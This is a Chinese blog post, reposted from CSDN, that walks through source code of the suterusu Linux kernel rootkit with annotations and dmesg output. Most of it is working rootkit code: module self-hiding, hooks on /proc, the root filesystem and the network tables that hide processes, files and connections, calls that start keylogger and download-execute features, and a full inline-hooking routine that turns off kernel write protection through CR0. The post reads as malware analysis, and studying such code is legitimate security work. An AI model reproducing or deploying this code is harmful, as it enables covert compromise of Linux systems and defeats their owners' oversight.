Linux LKM suterusu代码分析(二)

模块初始化

static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void )
{
    
       //摘链隐藏驱动模块
    /* Hide LKM and all symbols */
    list_del_init(&__this_module.list);

    /* Hide LKM from sysfs */
    kobject_del(__this_module.holders_dir->parent);

    #if defined(_CONFIG_X86_64_)
    ia32_sys_call_table = find_ia32_sys_call_table();
    DEBUG("ia32_sys_call_table obtained at %p\n", ia32_sys_call_table);
    #endif

    sys_call_table = find_sys_call_table();

    DEBUG("sys_call_table obtained at %p\n", sys_call_table);

    /* Hook /proc for hiding processes */
    proc_iterate = get_vfs_iterate("/proc");
    hijack_start(proc_iterate, &n_proc_iterate);

    /* Hook / for hiding files and directories */
    root_iterate = get_vfs_iterate("/");
    hijack_start(root_iterate, &n_root_iterate);

    /* Hook /proc/net/tcp for hiding tcp4 connections */
    tcp4_seq_show = get_tcp_seq_show("/proc/net/tcp");
    hijack_start(tcp4_seq_show, &n_tcp4_seq_show);

    /* Hook /proc/net/tcp6 for hiding tcp6 connections */
    tcp6_seq_show = get_tcp_seq_show("/proc/net/tcp6");
    hijack_start(tcp6_seq_show, &n_tcp6_seq_show);

    /* Hook /proc/net/udp for hiding udp4 connections */
    udp4_seq_show = get_udp_seq_show("/proc/net/udp");
    hijack_start(udp4_seq_show, &n_udp4_seq_show);

    /* Hook /proc/net/udp6 for hiding udp4 connections */
    udp6_seq_show = get_udp_seq_show("/proc/net/udp6");
    hijack_start(udp6_seq_show, &n_udp6_seq_show);

    /* Hook dev_get_flags() for PROMISC flag hiding */
    hijack_start(dev_get_flags, &n_dev_get_flags);

    /* Hook inet_ioctl() for rootkit control */
    inet_ioctl = get_inet_ioctl(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    hijack_start(inet_ioctl, &n_inet_ioctl);

    #if defined(_CONFIG_KEYLOGGER_)
    keylogger_init();
    #endif

    #if defined(_CONFIG_HOOKRW_)
    hookrw_init();
    #endif

    #if defined(_CONFIG_DLEXEC_)
    dlexec_init();
    #endif

    #if defined(_CONFIG_ICMP_)
    icmp_init();
    #endif

    return 0;
}
//内核代码中拿到路径 / 的iterate
proc_iterate = get_vfs_iterate("/");
void *get_vfs_iterate ( const char *path )
{
    
    
    void *ret;
    struct file *filep;

    if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
        return NULL;

    ret = filep->f_op->ITERATE_NAME;

    filp_close(filep, 0);

    return ret;
}

file由内核在打开文件时创建,并传递给在文件上进行操作的任何函数,这里定义filep指向该结构体,其中ITERATE_NAME 根据内核版本的不同,成员结构也有所不同,#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0),也就是说内内核版本小于3.11.0则这个结构体成员为readdir,若大于此内核版本则该结构体成员为iterate。

dmesg 查看get_vfs_iterate函数返回值

//安装驱动
[ 1387.996901] open_hook: module verification failed: signature and/or required key missing - tainting kernel
//添加打印的ret返回值
[ 1387.997372] rkduck: return /proc readdir -> ffffffff812557b0

在/proc/kallsyms中查找此地址所对应的系统调用

curtis@curtis-virtual-machine:~/Desktop/open_hook$ sudo cat /proc/kallsyms | grep ffffffff812557b0
ffffffff812557b0 t proc_root_readdir

如果将get_vfs_iterate("/")则其返回值为

[ 1718.118729] rkduck: return /proc readdir -> ffffffff8126ba60
curtis@curtis-virtual-machine:~/Desktop/open_hook$ sudo cat /proc/kallsyms | grep ffffffff8126ba60
ffffffff8126ba60 t ext4_readdir

定义结构体变量

struct sym_hook {
    
    
    void *addr;
    unsigned char o_code[HIJACK_SIZE];
    unsigned char n_code[HIJACK_SIZE];
    struct list_head list;
};
void hijack_start ( void *target, void *new )
{
    
    
    struct sym_hook *sa;
    unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];

    #if defined(_CONFIG_X86_)
    unsigned long o_cr0;

    // push $addr; ret
    memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
    *(unsigned long *)&n_code[1] = (unsigned long)new;
    #elif defined(_CONFIG_X86_64_)
    unsigned long o_cr0;

    // mov rax, $addr; jmp rax
    memcpy(n_code, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0", HIJACK_SIZE);
    //将函数rax的值改为自定义函数的入口地址
    *(unsigned long *)&n_code[2] = (unsigned long)new;
    #else // ARM
    if ( (unsigned long)target % 4 == 0 )
    {
    
    
        // ldr pc, [pc, #0]; .long addr; .long addr
        memcpy(n_code, "\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00", HIJACK_SIZE);
        *(unsigned long *)&n_code[4] = (unsigned long)new;
        *(unsigned long *)&n_code[8] = (unsigned long)new;
    }
    else // Thumb
    {
    
    
        // add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr
        memcpy(n_code, "\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00", HIJACK_SIZE);
        *(unsigned long *)&n_code[8] = (unsigned long)new;
        target--;
    }
    #endif

    DEBUG_HOOK("Hooking function 0x%p with 0x%p\n", target, new);
    //对源函数入口地址进行备份
    memcpy(o_code, target, HIJACK_SIZE);

    #if defined(_CONFIG_X86_) || defined(_CONFIG_X86_64_)
    //关闭内存写保护
    o_cr0 = disable_wp();
    //改变函数入口地址
    memcpy(target, n_code, HIJACK_SIZE);
    //使能内存写保护
    restore_wp(o_cr0);
    #else // ARM
    arm_write_hook(target, n_code);
    #endif
    //给sym_hook=结构体申请内存
    sa = kmalloc(sizeof(*sa), GFP_KERNEL);
    if ( ! sa )
        return;
    //函数源地址
    sa->addr = target;
    //保存target new函数入口地址
    memcpy(sa->o_code, o_code, HIJACK_SIZE);
    memcpy(sa->n_code, n_code, HIJACK_SIZE);
    //插链,头插,形成双向链表
    list_add(&sa->list, &hooked_syms);
}

系统调用细节,当系统要调用某个特定的API时,需要跳转到rax寄存器所对应的函数,当修改 $address 时,那么当调用所对应的函数时,会跳转到自己定义的函数即new,实现函数Hook。

//x86
48 c7 c0 35 08 40 00            mov rax, 0x00400835
ff e0                           jmp rax

or
//x86_64
48 b8 35 08 40 00 00 00 00 00   mov rax, 0x0000000000400835
ff e0                           jmp rax

内存写保护enbale 和 disable,就是修改cr0寄存器的值。

inline unsigned long disable_wp ( void )
{
    
    
    unsigned long cr0;

    preempt_disable();
    barrier();

    cr0 = read_cr0();
    write_cr0(cr0 & ~X86_CR0_WP);
    return cr0;
}

inline void restore_wp ( unsigned long cr0 )
{
    
    
    write_cr0(cr0);

    barrier();
    preempt_enable();
}

猜你喜欢

转载自blog.csdn.net/qq_42931917/article/details/109027254
今日推荐